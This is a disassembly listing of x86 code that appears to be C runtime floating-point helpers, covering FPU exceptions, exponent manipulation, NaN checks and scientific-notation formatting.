		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C8A0
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C890
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C8A0
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C8A0
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C890
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C890
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB2A8, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB2A8, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C7B8


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C890
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C7BC[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C8B8
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C8B8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C8C4
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26804F7h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C538
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C538
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB340, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB33C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C538
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB340, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB340, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB344
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB33C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------


loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax


loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C538
		pop	ecx
		mov	[edi], al
